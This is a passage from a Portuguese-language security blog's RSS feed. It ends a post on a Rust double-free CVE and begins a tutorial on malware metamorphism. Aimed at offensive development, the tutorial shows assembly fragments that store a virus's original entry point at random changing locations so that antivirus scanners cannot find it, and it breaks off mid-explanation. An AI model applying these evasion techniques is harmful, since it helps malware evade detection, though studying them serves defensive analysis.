&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;impl&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;Drop&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MyEnum&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;fn&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;drop&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;mut&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;match&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MyEnum&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;DroppedTwice&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;println!&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Dropping!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MyEnum&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;PanicOnDrop&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;                &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;thread&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;panicking&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;                    &lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;panic!&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;                &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;fn&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;vec!&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MyEnum&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;DroppedTwice&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;Box&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;new&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;123&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)),&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MyEnum&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;PanicOnDrop&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;Vec&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;from_iter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;into_iter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;take&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esse CVE pode parecer um pouco complexo em um primeiro momento, mas vamos olhar melhor.&lt;br&gt;
Oque acontece, em outras palavras, é que ao ser liberado, o elemento não é invalidado, assim, sendo liberado novamente, criando a falha de &lt;a class=&#34;link&#34; href=&#34;#double-free&#34; &gt;Double Free&lt;/a&gt;&lt;br&gt;
Bem simples, não?&lt;/p&gt;
&lt;p&gt;Podemos perceber que gerar uma falha de gerencialmente de memoria é extremamente dificil, sendo necessario um esforço para gerar tal erro.&lt;br&gt;
Quis trazer esse CVE também para demonstrar isso, uma falha desse tipo muito dificilmente poderia ser usada em um cenario real para exploração de um binario.&lt;/p&gt;
&lt;h1 id=&#34;é-seguro-ou-não&#34;&gt;É Seguro ou não?&lt;/h1&gt;
&lt;p&gt;Podemos dizer que &lt;strong&gt;sim&lt;/strong&gt;, o Rust consegue fazer um otimo trabalho para o gerencialmente de memoria, limitando com sucesso os riscos de problemas de segurança, e essa mágica toda está na solidez das APIs e seu compilador que ira veementemente te alertar sobre possiveis falhas e más praticas.&lt;br&gt;
Como resultado, muitos bugs de segurança são problemas leves de solidez, como citado acima.&lt;/p&gt;
&lt;h2 id=&#34;referencias&#34;&gt;Referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Memory-Safety Challenge Considered Solved?
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://arxiv.org/pdf/2003.03296.pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://arxiv.org/pdf/2003.03296.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;LiveOverflow
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.youtube.com/c/LiveOverflow&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://www.youtube.com/c/LiveOverflow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Rust Book
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://doc.rust-lang.org/beta/rustc/exploit-mitigations.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://doc.rust-lang.org/beta/rustc/exploit-mitigations.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Mozzila Hacks
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://hacks.mozilla.org/2019/01/fearless-security-memory-safety/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://hacks.mozilla.org/2019/01/fearless-security-memory-safety/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/R3tr074&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;R3tr0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Metamorfismo explicado na prática</title>
        <link>https://harddisk.com.br/p/pt-br-metamorfismo-explicado-na-pr%C3%A1tica/</link>
        <pubDate>Sun, 23 May 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-metamorfismo-explicado-na-pr%C3%A1tica/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-metamorfismo-explicado-na-pr%C3%A1tica/banner.png" alt="Featured image of post [PT-BR] Metamorfismo explicado na prática" /&gt;&lt;h1 id=&#34;metamorfismo&#34;&gt;Metamorfismo&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#metamorfismo&#34; &gt;Metamorfismo&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#introdu%c3%a7%c3%a3o&#34; &gt;Introdução&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#b%c3%a1sico&#34; &gt;Básico&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#m%c3%a9todos&#34; &gt;Métodos&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#m%c3%a9todo-de-multiple-locations&#34; &gt;Método de &amp;ldquo;multiple locations&amp;rdquo;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#a-modifica%c3%a7%c3%a3o-de-instru%c3%a7%c3%a3o&#34; &gt;A modificação de instrução&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#resumo&#34; &gt;Resumo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#avan%c3%a7ado&#34; &gt;Avançado&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#aplicando-isso&#34; &gt;Aplicando isso&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#algumas-dicas&#34; &gt;Algumas dicas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#como-codar&#34; &gt;Como codar?&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#1-o-gerador-de-endere%c3%a7o&#34; &gt;1. O gerador de endereço&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#2-o-preenchimento-de-instru%c3%a7%c3%b5es&#34; &gt;2. O preenchimento de instruções&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#3-o-place-filler&#34; &gt;3. O place filler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#4-o-handler-da-jump-table&#34; &gt;4. O handler da jump table&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#palavras-finais&#34; &gt;Palavras finais&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;introdução&#34;&gt;Introdução&lt;/h2&gt;
&lt;p&gt;Desta vez, o objeto de estudo é o Metamorfismo. Acho que este é o próximo passo após o polimorfismo, um passo que alcançará o desenvolvimento ofensivo em outro nível: o pico mais alto da automutação, o maior passo em direção à furtividade perfeita.&lt;/p&gt;
&lt;h2 id=&#34;básico&#34;&gt;Básico&lt;/h2&gt;
&lt;p&gt;O metamorfismo é um conceito muito interessante que basicamente significa o seguinte:&lt;br&gt;
&lt;code&gt;Significa que o código se modifica a cada vez que executado.&lt;/code&gt;&lt;br&gt;
A diferença entre metamorfismo e o polimorfismo é:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Polimorfismo&lt;/strong&gt;: significa criptografar o próprio código e descriptografar em run-time para se executado&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Metamorfismo&lt;/strong&gt;: significa modificar o próprio código, mudar o proprio assembly em run-time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claro, como se poderia esperar, é quase impossível criar um código totalmente metamórfico. Não vou inserir os detalhes aqui, mas se você não acredita em mim, experimente. Grande parte deste artigo terá como objetivo mostrar onde o metamorfismo deve ser utilizado para ser realmente útil.&lt;/p&gt;
&lt;p&gt;Isso é, quando um software de antivírus é escrito e consegue detectar com sucesso o uso de um conceito, método e teoria, ele será capaz de detectar todos os vírus futuros baseados nos mesmos conceitos.&lt;br&gt;
Mas depois de modificar todos os três aspectos, o antivírus deve ser totalmente redesenhado. Isso pode levar a uma redução da eficiência na abordagem em relação aos conceitos antigos também, porque qualquer método novo tem a capacidade de fazer os métodos antigos funcionarem pior do que antes. Não vou continuar essa dissertação aqui, mas pense nisso &amp;hellip;&lt;/p&gt;
&lt;p&gt;Para analisar um malware desse tipo. O que é necessário? Precisamos conhecer alguns valores importantes e isso é tudo o que é necessário para entender o código:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;O local do código do malware&lt;/li&gt;
&lt;li&gt;Os locais das chaves de descriptografia&lt;/li&gt;
&lt;li&gt;O algoritmo de descriptografia&lt;/li&gt;
&lt;li&gt;O local do código original (se movido)&lt;/li&gt;
&lt;li&gt;O ponto de entrada original&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Não nos importamos com o algoritmo de descriptografia aqui, portanto, verificaremos apenas o resto das coisas.&lt;/p&gt;
&lt;p&gt;Basicamente, todos os valores acima são armazenados dentro do seu código num determinado endereço. Coisas como essas são comuns:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;OldEip&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;OldEip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O humano irá olhar em seu código e quando ele finalmente localizar e entender as linhas acima, ele irá programar seu script para olhar para o endereço de &lt;code&gt;OldEip&lt;/code&gt; e obter o valor de lá. Não há necessidade de interferência humana ao escanear algo tão simples. Agora o software localizou o &lt;code&gt;eip&lt;/code&gt; original do programa infectado e pode remover o hook com segurança apenas restaurando-o. Esta é uma forma muito simples de mitigação.&lt;/p&gt;
&lt;p&gt;Como podemos prevenir tal coisa, ou como podemos pelo menos tornar isso mais difícil? Isso é explicado por alguns métodos de metamorfismo.&lt;/p&gt;
&lt;h2 id=&#34;métodos&#34;&gt;Métodos&lt;/h2&gt;
&lt;h3 id=&#34;método-de-multiple-locations&#34;&gt;Método de &amp;ldquo;multiple locations&amp;rdquo;&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;OldEip1&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;OldEip2&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;OldEip3&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;OldEip1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;metamorph1&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;$-4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora, nosso mecanismo metamórfico tem que fazer o seguinte: decidir aleatoriamente qual endereço usar, preencher com o valor correto, preencher o outro com valores aleatórios e ir para o endereço &lt;code&gt;ebp + metamorph1&lt;/code&gt; e preencher o endereço com o valor necessário.&lt;/p&gt;
&lt;p&gt;Para onde isso leva? Cada vez que o vírus se propaga o local onde o antigo entrypoint está armazenado será diferente&amp;hellip;
E também, a instrução que o acessa será diferente de geração em geração. Não sei se você percebe a força dessa coisa. É claro que é facilmente superável localizando a própria instrução de acesso e obtendo o endereço de lá. Mas, pense nisso:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;Oldeip1&lt;/span&gt;         &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;Oldeip2&lt;/span&gt;         &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;codeaddress1&lt;/span&gt;    &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;codeaddress2&lt;/span&gt;    &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;OldEip1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;codeaddress1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora, as duas instruções têm a seguinte aparência quando debugadas:&lt;/p&gt;
